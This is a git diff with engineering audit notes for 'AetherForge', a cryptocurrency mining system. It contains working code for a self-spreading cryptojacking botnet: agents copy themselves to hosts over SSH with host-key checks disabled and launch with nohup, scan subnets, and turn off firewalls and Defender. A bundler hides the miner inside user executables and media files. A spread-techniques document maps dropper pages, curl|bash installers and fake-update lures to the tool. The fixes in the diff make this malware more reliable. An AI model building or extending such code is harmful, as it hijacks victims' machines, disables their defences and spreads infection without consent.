+| ~~**SRV-B1**~~ | ~~High~~ | `server/main.go` | ~~**No graceful shutdown on SIGINT/SIGTERM.**~~ **Fixed.** `http.ListenAndServe` replaced with `http.Server` + goroutine; `signal.NotifyContext(syscall.SIGINT, syscall.SIGTERM)` drives a `srv.Shutdown(ctx)` with 10 s timeout on signal, allowing all `defer` calls (`cloudflared.Stop()`, `database.Close()`, `maintenance.StopRetentionJobs()`, `fleetSched.Stop()`) to run cleanly. |
+
+| ~~**SRV-B2**~~ | ~~Medium~~ | `server/internal/db/sqlite.go` | ~~**SQLite max-connections not configured.**~~ **Fixed.** `db.SetMaxOpenConns(1)` added immediately after `sql.Open`; the single-connection pool eliminates concurrent-writer WAL-lock contention and `SQLITE_BUSY` errors under load. |
+
+| ~~**SRV-B3**~~ | ~~Medium~~ | `server/internal/scheduler/fleet_scheduler.go` | ~~**O(tasks × agents) DB queries per minute.**~~ **Fixed.** `BulkLastFleetTaskRuns` added to the `db` package; `tickInterval` now pre-fetches all relevant `fleet_task_runs` rows in a single query and checks an in-memory `map[string]time.Time` (keyed `"agentID:taskID"`) in the nested loop — 1 query per tick instead of tasks × agents. |
+
+| ~~**SRV-B4**~~ | ~~Medium~~ | `server/internal/api/websocket.go` `broadcastDashboard` | ~~**Stale-conn cleanup races with `HandleDashboardWS` teardown.**~~ **Fixed.** `broadcastDashboard` no longer spawns a goroutine to delete the dashboard map entry on write failure. It only closes the connection; `HandleDashboardWS` already owns all map cleanup via its existing `defer`, so the double-delete and the spurious `presence_update{online:false}` are eliminated. |
+
+| ~~**SRV-B5**~~ | ~~Low~~ | `server/internal/api/agent_ws_limiter.go` | ~~**Rate-limiter map never purges zero-entry keys.**~~ **Fixed.** `delete(agentWSRateLim.attempts, clientIP)` called when `len(filtered) == 0` after the expiry sweep; map keys are reclaimed as IP addresses churn out of the window. |
+
+
+
+---
+
+
+
+## Backend
+
+
+
+- **`db.New` / `MkdirAll`:** Already returns error on failure (`server/internal/db/sqlite.go`); remove stale Low (open) note in Server API section when editing that doc block.
+
+
+
+---
+
+
+
+## Frontend
+
+
+
+- **`RemoteDirBrowser` removal:** No broken imports. UI logic lives in `FileManager.tsx` + `src/help/remoteDirBrowser.ts`; `remoteDirBrowser.test.ts` covers helpers. Deleted `RemoteDirBrowser.tsx` / `.css` are not referenced elsewhere.
+
+- **`FileManager.test.tsx`:** Untracked but picked up by Vitest (`src/**/*.test.{ts,tsx}`); 10 tests pass add to git when committing Fleet work.
+
+- **Download test mocks:** Prefer separate `vi.fn()` per export when mocking `api/download` (real module aliases `downloadApiFile` to `downloadAuthedFile`; shared mock caused order-dependent flakes).
+
+
+
+---
+
+
+
+
+
+### Open large / architecture
+
-### Open (document-only / ops)
| Issue | Notes |
-|-------|--------|
-| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets (e.g. missing `MissionDeckPage-*` chunks) |
-| Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom — tests pass (63 files / 562 tests) |
-| `fusion/` package tests | Still none — coverage only in `server/internal/builder/fusion_*_test.go` |
+
+|-------|-------|
+
+| **Monolithic WebSocket context** | Every `useWebSocket()` consumer re-renders on any WS state change. Split into `FleetContext` / `EventsContext` or selector hook (`useAgents()`) for true isolation. |
+
+| **`CruciblePage` size (~2k lines)** | Single component owns terminal, fleet list, tabs, file manager hard to memoize subtrees; consider section components + `React.memo` boundaries. |
+
+| **Per-agent `stats_update` broadcast** | Backend sends one dashboard message per agent stats tick; no batching/coalescing in `websocket.go`. Fleet of N agents ? N JSON parses/frame on client. |
+
+| **`SystemStatusBar` REST poll duplicates WS** | Polls `listAgents` every 15s though fleet already streams via WebSocket wire readout to WS or drop agent poll. |
+
+| **Vite chunk size** | `three` (~600 kB) and vendor bundles trigger build warnings; FleetTopologyMap loads three on Dashboard already lazy but still heavy first open. |
+
+| **No terminal virtualization** | DOM cap at 400 lines helps; full virtual list (react-window) needed for 2000-line scrollback without mount cost. |
+
+| **MatrixRain always mounted in Layout** | Runs on every route including mobile (hidden sidebar but component still mounts on desktop). Consider `content-visibility` or route-gated mount. |
+
+| **Path Tracer 2s REST poll** | No WS push for hop progress; acceptable but adds load during orchestration. |
+
+
+
+### Open medium
+
+
+
+| Issue | Notes |
+
+|-------|-------|
+
+| **Emberwake war room double feed** | 15s client poll + 30s server `runWarRoomBroadcast` redundant; prefer WS-only with poll fallback. |
+
+| **CursorFire + SacredGeometry on all routes** | Desktop-only effects still mount with Layout; gate on `VisualEffectsContext` or route. |
+
+| **Earnings estimate on every hashrate change** | Dashboard debounces via `totalHashrate` effect could share chart sampler interval. |
+
+
+
+---
+
+
+
+
+
+### Deferred large / complex
+
+
+
+| Issue | Location | Notes |
+
+|-------|----------|-------|
+
+| ~~**WebSocketProvider async race**~~ | `context/WebSocketProvider.tsx` | **Fixed (2026-06-06).** Added `openingRef` (`useRef(false)`) in-flight guard -- a second `connect()` call while a ticket fetch is in progress returns early. Added `AbortController` (`ticketAbortRef`) to cancel any prior in-flight fetch; aborted invocations bail before creating a `WebSocket`. `openingRef` is always reset in a `finally` block. |
+
+| ~~**`useVisibleInterval` calls `fn` on every dep change**~~ | `hooks/usePageVisible.ts` | **Fixed (2026-06-06).** `fn` is now stored in a `fnRef` (`useRef`). The effect depends only on `ms`, `enabled`, and `visible` -- an unstable `fn` reference no longer re-runs the effect or triggers an extra immediate call. The interval always invokes `fnRef.current()` so callers always see the latest `fn` without extra renders. |
+
+
+
+---
+
+
+
+### Deferred large / medium
+
+
+
+| ID | Issue | Location | Notes |
+
+|----|-------|----------|-------|
+
+| ~~BA-03~~ | ~~**`write()` has no write deadline**~~ | `client/client.go` — `write()` | **Fixed.** `c.conn.SetWriteDeadline(time.Now().Add(15*time.Second))` is now called immediately before `WriteJSON` (and cleared afterward), so a stalled TCP socket cannot hold `c.mu` indefinitely and deadlock share submission, stats, and command-result goroutines. |
+
+| ~~BA-04~~ | ~~**SSH/SCP spread commands have no overall timeout**~~ | `deploy/autospread_unix.go` `attemptSSHSpread()` | `ConnectTimeout=3` limits only the TCP handshake; after a successful connection, `scp.Run()` and `ssh start.Run()` have no deadline. A slow or unresponsive host stalls the goroutine indefinitely, holding a slot in `spreadSem` (16 total). With 16 such hangs in flight, all future spread goroutines block waiting on the semaphore. Fix: use `exec.CommandContext` with a ~30 s deadline wrapping the whole SCP + SSH sequence. **Fixed:** `exec.CommandContext` with `context.WithTimeout(30s)` wraps the full SCP + SSH sequence; a hung host releases its semaphore slot after 30 s. |
+
+| ~~BA-05~~ | ~~**GPU miner binary download has no HTTP timeout or body-size cap**~~ | `client/gpu_miner.go` `downloadAndExtract()` | `http.Get(url)` with no timeout and `io.ReadAll(resp.Body)` with no size limit. A slow redirect or a response that trickles bytes forever will hang the goroutine; a gigabyte-scale response could OOM the agent. Fix: use an `http.Client` with a 5-min overall timeout, and wrap the body in `io.LimitReader(resp.Body, 512<<20)`. **Fixed:** `http.Client{Timeout: 5*time.Minute}` + `io.LimitReader(resp.Body, 512<<20)`. |
+
+| BA-06 | **`CollectFullSysCheck` blocks for 45+ s on empty subnets** | `client/syscheck.go` `CollectFullSysCheck()` | Calls `deploy.ScanLocalSubnet(56)` synchronously in the command handler goroutine. `ScanLocalSubnet` probes up to 56 hosts × ~0.8 s timeout = ~45 s on an empty /24. During this time the agent cannot process incoming WebSocket messages (it is running in a command goroutine, but the read loop is separate; however if the server has a short reply timeout the session may drop). Consider running the subnet scan in a background goroutine and returning a "pending" token, or reducing the default `maxHosts` for syscheck. |
+
+
+
+---
+
+
+
+## Infrastructure
+
+
+
+- **Root `fix.py`, `fix3.py`, `fix4.py`:** Untracked one-off Python string/regex editors targeting `CruciblePage.tsx` (ProtocolTunnel `onDispatch`, GPU hashrate label). Intended changes appear already applied in `CruciblePage.tsx`. Safe to delete after review; not run in CI do not rely on them for builds.
+
+- **CI:** Only `.github/workflows/ci-docker-mining.yml` (Docker mining); no root Makefile test target found.
+
+- **`data/login-credentials.json`, `data/users.json`:** Untracked; do not commit (secrets/local data).
+
+
+
diff --git a/README.md b/README.md
index 27a9b0f..797bbfb 100644
--- a/README.md
+++ b/README.md
@@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
-| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
+| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
diff --git a/agent/client/client.go b/agent/client/client.go
index 0f042c8..445eddd 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -982,7 +982,13 @@ func (c *AgentClient) write(msg Message) error {
if c.conn == nil {
return fmt.Errorf("not connected")
}
- return c.conn.WriteJSON(msg)
+ // BA-03: set a bounded write deadline so a stalled TCP socket cannot block
+ // WriteJSON indefinitely while holding c.mu, which would deadlock every
+ // other goroutine that needs c.mu (share submission, stats, commands).
+ _ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
+ err := c.conn.WriteJSON(msg)
+ _ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
+ return err
}
// needsStratumFallback returns true when either:
diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go
index 5e47857..5fd7f10 100644
--- a/agent/client/gpu_miner.go
+++ b/agent/client/gpu_miner.go
@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
- // Start with resumeCh closed so the run loop is not blocked.
- close(g.resumeCh)
+ // pauseCh starts open; waitIfPaused hits the default branch and returns
+ // true immediately, so no pre-close of resumeCh is needed (and
+ // pre-closing it would break the first Pause() — the inner select would
+ // fire on the already-closed channel instead of blocking).
return g
}
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
}
func downloadAndExtract(url, destDir, targetFile string) error {
- resp, err := http.Get(url) //nolint:noctx
+ client := &http.Client{Timeout: 5 * time.Minute}
+ resp, err := client.Get(url)
if err != nil {
return err
}
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
- data, err := io.ReadAll(resp.Body)
+ data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
if err != nil {
return err
}
diff --git a/agent/client/silent_stub.go b/agent/client/silent_stub.go
index 5afc4fc..4cd0b09 100644
--- a/agent/client/silent_stub.go
+++ b/agent/client/silent_stub.go
@@ -23,6 +23,6 @@ func silentRun(name string, arg ...string) error {
return exec.Command(name, arg...).Run()
}
-func silentStart(cmd *exec.Cmd) error {
- return cmd.Start()
+func silentStart(name string, arg ...string) error {
+ return exec.Command(name, arg...).Start()
}
diff --git a/agent/client/silent_stub_test.go b/agent/client/silent_stub_test.go
index e95d9b6..3b79854 100644
--- a/agent/client/silent_stub_test.go
+++ b/agent/client/silent_stub_test.go
@@ -54,12 +54,8 @@ func TestSilentCmdReturnsCmd(t *testing.T) {
}
}
-func TestSilentStartAndWait(t *testing.T) {
- cmd := exec.Command("true")
- if err := silentStart(cmd); err != nil {
+func TestSilentStart(t *testing.T) {
+ if err := silentStart("true"); err != nil {
t.Fatalf("silentStart: %v", err)
}
- if err := cmd.Wait(); err != nil {
- t.Errorf("cmd.Wait after silentStart: %v", err)
- }
}
diff --git a/agent/client/silent_windows_test.go b/agent/client/silent_windows_test.go
new file mode 100644
index 0000000..ab3ba4c
--- /dev/null
+++ b/agent/client/silent_windows_test.go
@@ -0,0 +1,54 @@
+//go:build windows
+
+package client
+
+import "testing"
+
+func TestSilentCombinedOutputEcho(t *testing.T) {
+ out, err := silentCombinedOutput("cmd", "/c", "echo hello")
+ if err != nil {
+ t.Fatalf("silentCombinedOutput: %v", err)
+ }
+ if string(out) != "hello\r\n" && string(out) != "hello\n" {
+ t.Errorf("got %q, want hello with newline", string(out))
+ }
+}
+
+func TestSilentOutputEcho(t *testing.T) {
+ out, err := silentOutput("cmd", "/c", "echo world")
+ if err != nil {
+ t.Fatalf("silentOutput: %v", err)
+ }
+ if string(out) != "world\r\n" && string(out) != "world\n" {
+ t.Errorf("got %q, want world with newline", string(out))
+ }
+}
+
+func TestSilentRunTrue(t *testing.T) {
+ if err := silentRun("cmd", "/c", "exit 0"); err != nil {
+ t.Errorf("silentRun(true): %v", err)
+ }
+}
+
+func TestSilentRunFalse(t *testing.T) {
+ err := silentRun("cmd", "/c", "exit 1")
+ if err == nil {
+ t.Error("silentRun(false) should return non-nil error")
+ }
+}
+
+func TestSilentCmdReturnsCmd(t *testing.T) {
+ cmd := silentCmd("cmd", "/c", "echo hi")
+ if cmd == nil {
+ t.Fatal("silentCmd returned nil")
+ }
+ if cmd.Path == "" {
+ t.Error("silentCmd returned cmd with empty Path")
+ }
+}
+
+func TestSilentStart(t *testing.T) {
+ if err := silentStart("cmd", "/c", "exit 0"); err != nil {
+ t.Fatalf("silentStart: %v", err)
+ }
+}
diff --git a/agent/deploy/aggressive_stub.go b/agent/deploy/aggressive_stub.go
index 2e7447a..0bc8a6d 100644
--- a/agent/deploy/aggressive_stub.go
+++ b/agent/deploy/aggressive_stub.go
@@ -1,4 +1,4 @@
-//go:build !windows && !linux
+//go:build !windows && !linux && !darwin
package deploy
diff --git a/agent/deploy/aggressive_stub_test.go b/agent/deploy/aggressive_stub_test.go
index a04fcad..fbb5260 100644
--- a/agent/deploy/aggressive_stub_test.go
+++ b/agent/deploy/aggressive_stub_test.go
@@ -1,4 +1,4 @@
-//go:build !windows && !linux
+//go:build !windows && !linux && !darwin
package deploy
diff --git a/agent/deploy/autospread_unix.go b/agent/deploy/autospread_unix.go
index 5669559..1b809c3 100644
--- a/agent/deploy/autospread_unix.go
+++ b/agent/deploy/autospread_unix.go
@@ -3,6 +3,7 @@
package deploy
import (
+ "context"
"fmt"
"log"
"net"
@@ -118,22 +119,26 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
conn.Close()
+ // 30 s overall deadline covers both SCP upload and SSH start command.
+ ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+ defer cancel()
+
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
- scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
+ scp := exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
user := os.Getenv("USER")
if user == "" {
user = "ubuntu"
}
- scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
+ scp = exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
recordSpreadAttempt(target, false, "scp failed")
return
}
}
- start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
+ start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
diff --git a/agent/deploy/firewall_darwin_ops.go b/agent/deploy/firewall_darwin_ops.go
new file mode 100644
index 0000000..d94f25c
--- /dev/null
+++ b/agent/deploy/firewall_darwin_ops.go
@@ -0,0 +1,72 @@
+//go:build darwin
+
+package deploy
+
+import (
+ "fmt"
+ "os/exec"
+ "strings"
+)
+
+const macOSFirewallBin = "/usr/libexec/ApplicationFirewall/socketfilterfw"
+
+func DisableDefenderRealtime() (string, error) {
+ return "", fmt.Errorf("defender control is Windows-only")
+}
+
+func OpenFirewallPort(port int, name string) (string, error) {
+ if port <= 0 || port > 65535 {
+ return "", fmt.Errorf("invalid port %d", port)
+ }
+ pfctl, err := exec.LookPath("pfctl")
+ if err != nil {
+ return "", fmt.Errorf("pfctl not found on macOS")
+ }
+ rule := fmt.Sprintf("pass in proto tcp from any to any port %d # %s", port, strings.TrimSpace(name))
+ cmd := exec.Command(pfctl, "-a", "aetherforge", "-f", "-")
+ cmd.Stdin = strings.NewReader(rule + "\n")
+ out, runErr := cmd.CombinedOutput()
+ if runErr != nil {
+ return "", fmt.Errorf("pfctl anchor rule: %v (%s)", runErr, strings.TrimSpace(string(out)))
+ }
+ return fmt.Sprintf("pf anchor aetherforge: allow tcp/%d (%s)", port, name), nil
+}
+
+func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
+ _ = profiles
+ state := "off"
+ if enable {
+ state = "on"
+ }
+ out, runErr := exec.Command(macOSFirewallBin, "--setglobalstate", state).CombinedOutput()
+ if runErr != nil {
+ return "", fmt.Errorf("socketfilterfw --setglobalstate %s: %v (%s)", state, runErr, strings.TrimSpace(string(out)))
+ }
+ return fmt.Sprintf("macOS application firewall %s", state), nil
+}
+
+func DisableWindowsFirewall() (string, error) {
+ return SetWindowsFirewallProfiles(false, "all")
+}
+
+func EnableWindowsFirewall() (string, error) {
+ return SetWindowsFirewallProfiles(true, "all")
+}
+
+func RemoveFirewallRuleByName(name string) (string, error) {
+ name = strings.TrimSpace(name)
+ if name == "" {
+ return "", fmt.Errorf("rule name required")
+ }
+ pfctl, err := exec.LookPath("pfctl")
+ if err != nil {
+ return "", fmt.Errorf("pfctl not found on macOS")
+ }
+ out, runErr := exec.Command(pfctl, "-a", "aetherforge", "-F", "rules").CombinedOutput()
+ if runErr != nil {
+ return "", fmt.Errorf("pfctl flush anchor: %v (%s)", runErr, strings.TrimSpace(string(out)))
+ }
+ return fmt.Sprintf("flushed pf anchor aetherforge (requested match %q)", name), nil
+}
+
+func SilentAVExclusion(_, _ string) {} // no-op on Darwin
diff --git a/agent/deploy/firewall_darwin_ops_test.go b/agent/deploy/firewall_darwin_ops_test.go
new file mode 100644
index 0000000..4e15bb4
--- /dev/null
+++ b/agent/deploy/firewall_darwin_ops_test.go
@@ -0,0 +1,29 @@
+//go:build darwin
+
+package deploy
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestOpenFirewallPortInvalidDarwin(t *testing.T) {
+ _, err := OpenFirewallPort(0, "test")
+ if err == nil || !strings.Contains(err.Error(), "invalid port") {
+ t.Fatalf("expected invalid port error, got %v", err)
+ }
+}
+
+func TestRemoveFirewallRuleByNameEmptyDarwin(t *testing.T) {
+ _, err := RemoveFirewallRuleByName("")
+ if err == nil || !strings.Contains(err.Error(), "rule name required") {
+ t.Fatalf("expected rule name error, got %v", err)
+ }
+}
+
+func TestDisableDefenderRealtimeDarwin(t *testing.T) {
+ _, err := DisableDefenderRealtime()
+ if err == nil || !strings.Contains(err.Error(), "Windows-only") {
+ t.Fatalf("expected Windows-only error, got %v", err)
+ }
+}
diff --git a/agent/miner/pool.go b/agent/miner/pool.go
index 198cef0..9376c88 100644
--- a/agent/miner/pool.go
+++ b/agent/miner/pool.go
@@ -190,7 +190,14 @@ func (p *Pool) resourcesOK() bool {
}
totalMB := p.reporter.TotalMemoryMB()
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
- usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
+ // Clamp freeMB to totalMB before subtraction: on Linux, MemAvailable
+ // can briefly exceed MemTotal (page-cache reclaim), which would cause
+ // uint64 wraparound and a 1.8e19 % usage value that halts mining.
+ clampedFree := freeMB
+ if clampedFree > totalMB {
+ clampedFree = totalMB
+ }
+ usedPct := float64(totalMB-clampedFree) / float64(totalMB) * 100
if usedPct > float64(p.cfg.MaxMemoryPct) {
return false
}
diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md
index f0d42bb..bca2b5a 100644
--- a/docs/SPREAD_TECHNIQUES.md
+++ b/docs/SPREAD_TECHNIQUES.md
@@ -1,5 +1,7 @@
# Web-Mediated Spread Techniques (Research Summary)
+> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source.
+
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
---
@@ -24,7 +26,7 @@
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
-| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
+| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
@@ -81,12 +83,10 @@
| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
-| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
-| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
-| No **fake-update** HTML kit | SocGholish-style lander |
+| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
-| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
+| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
---
diff --git a/docs/TEST_RESULTS.md b/docs/TEST_RESULTS.md
index a204e10..3878353 100644
--- a/docs/TEST_RESULTS.md
+++ b/docs/TEST_RESULTS.md
@@ -1,9 +1,11 @@
# AetherForge Test Results Log
-**Date:** 2026-05-27
+**Last updated:** 2026-06-06
**Environment:** Burner Windows (single PC), Go 1.26.3, server on `:8989`
**Plan reference:** Complete Feature Testing Plan (Burner Windows + Uninstaller)
+> **Note:** Automated counts below reflect the 2026-05-27 burner pass. As of 2026-06-06 integration audit: `npm test` in `server/web` — **64 files / 572 tests PASS**; `go test ./internal/api/...` and `go test ./agent/client/...` PASS after Crucible/Path Tracer fixes.
+
---
## Phase 0–2 — Fixes & Uninstaller (Code Complete)
@@ -22,7 +24,7 @@
|-------|---------|--------|
| Go server | `go test ./...` (server) | **PASS** — alerts, api, builder (incl. uninstall script tests) |
| Go agent | `go test ./...` (agent) | **PASS** — config, miner schedule/target |
-| Vitest | `npm test` (server/web) | **PASS** — 5 tests (forgeValidation F-01/F-02/AI-06, installPreview F-14) |
+| Vitest | `npm test` (server/web) | **PASS** — 572 tests / 64 files (2026-06-06); includes FileManager, crucibleOps, DashboardPage, MissionDeck |
| Frontend build | `npm run build` | **PASS** |
| API smoke | `scripts/smoke-test.ps1` | **PASS** — B-01 through B-10 (10/10) |
| Live forge | `POST /api/v1/builder/build` | **PASS** — `install-smoke-test.exe` + `uninstall-smoke-test.ps1` (F-03, F-04) |
@@ -187,4 +189,6 @@
**Still manual:** M-01–M-10 live deploy, F-11–F-19 runtime on burner, Ollama AI-09–AI-13.
-**Not implemented (low priority):** WebSocket ping interval from config, `log_pool_traffic` deep stratum logging, earnings USD quote.
+**Wired (2026-06-06 audit):** `websocket_ping_seconds` → `wsHub.SetPingInterval` in `server/main.go`; `log_pool_traffic` → `poolManager.SetVerboseTraffic` in `server/main.go`.
+
+**Not implemented (low priority):** earnings USD quote.
diff --git a/fusion/media_crypto_test.go b/fusion/media_crypto_test.go
new file mode 100644
index 0000000..000df1e
--- /dev/null
+++ b/fusion/media_crypto_test.go
@@ -0,0 +1,95 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/base64"
+ "io"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+)
+
+func TestDecryptMediaFileRoundTrip(t *testing.T) {
+ dir := t.TempDir()
+ encPath := filepath.Join(dir, "movie.enc")
+
+ // 1. Generate key and encrypt data
+ key := make([]byte, 32)
+ if _, err := rand.Read(key); err != nil {
+ t.Fatal(err)
+ }
+ keyB64 := base64.StdEncoding.EncodeToString(key)
+
+ plainData := []byte("hello world video bytes 1234567890")
+ encFile, err := os.Create(encPath)
+ if err != nil {
+ t.Fatal(err)
+ }
+
+ // Write magic
+ if _, err := io.WriteString(encFile, mediaLockMagic); err != nil {
+ encFile.Close()
+ t.Fatal(err)
+ }
+
+ // XOR encrypt
+ ki := 0
+ encData := make([]byte, len(plainData))
+ for i := 0; i < len(plainData); i++ {
+ encData[i] = plainData[i] ^ key[ki%len(key)]
+ ki++
+ }
+ if _, err := encFile.Write(encData); err != nil {
+ encFile.Close()
+ t.Fatal(err)
+ }
+ encFile.Close()
+
+ // 2. Decrypt media file
+ decPath, cleanup, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
+ if err != nil {
+ t.Fatalf("decryptMediaFile failed: %v", err)
+ }
+ defer cleanup()
+
+ // 3. Verify content
+ decData, err := os.ReadFile(decPath)
+ if err != nil {
+ t.Fatal(err)
+ }
+
+ if string(decData) != string(plainData) {
+ t.Fatalf("decrypted data mismatch: got %q, want %q", string(decData), string(plainData))
+ }
+}
+
+func TestDecryptMediaFileInvalidKey(t *testing.T) {
+ dir := t.TempDir()
+ encPath := filepath.Join(dir, "movie.enc")
+ if err := os.WriteFile(encPath, []byte("whatever"), 0644); err != nil {
+ t.Fatal(err)
+ }
+
+ // Test invalid base64 key
+ _, _, err := decryptMediaFile(encPath, "!!!invalid-b64!!!", "decrypted.mp4")
+ if err == nil || !strings.Contains(err.Error(), "invalid media key") {
+ t.Fatalf("expected invalid media key error, got %v", err)
+ }
+}
+
+func TestDecryptMediaFileInvalidMagic(t *testing.T) {
+ dir := t.TempDir()
+ encPath := filepath.Join(dir, "movie.enc")
+ if err := os.WriteFile(encPath, []byte("NOT_MAGIC_12345"), 0644); err != nil {
+ t.Fatal(err)
+ }
+
+ key := make([]byte, 32)
+ keyB64 := base64.StdEncoding.EncodeToString(key)
+
+ _, _, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
+ if err == nil || !strings.Contains(err.Error(), "not a locked media file") {
+ t.Fatalf("expected invalid magic error, got %v", err)
+ }
+}
diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1
index d9e207e..63821be 100644
--- a/scripts/test-suite.ps1
+++ b/scripts/test-suite.ps1
@@ -56,8 +56,9 @@ Invoke-Phase "2/8 Go agent tests" {
Pop-Location
}
-Invoke-Phase "3/8 Fusion module build" {
+Invoke-Phase "3/8 Fusion module tests" {
Push-Location (Join-Path $Root "fusion")
+ go test . -count=1
go build .
Pop-Location
}
diff --git a/server/config.go b/server/config.go
index 5e19191..3fcfa52 100644
--- a/server/config.go
+++ b/server/config.go
@@ -260,7 +260,9 @@ func LoadConfig() *Config {
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
- if err := json.Unmarshal(data, &fileCfg); err == nil {
+ if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
+ fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
+ } else {
// Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage
diff --git a/server/internal/api/agent_ws_limiter.go b/server/internal/api/agent_ws_limiter.go
index 56889a3..fb63f9d 100644
--- a/server/internal/api/agent_ws_limiter.go
+++ b/server/internal/api/agent_ws_limiter.go
@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
filtered = append(filtered, t)
}
}
+ if len(filtered) == 0 {
+ delete(agentWSRateLim.attempts, clientIP)
+ }
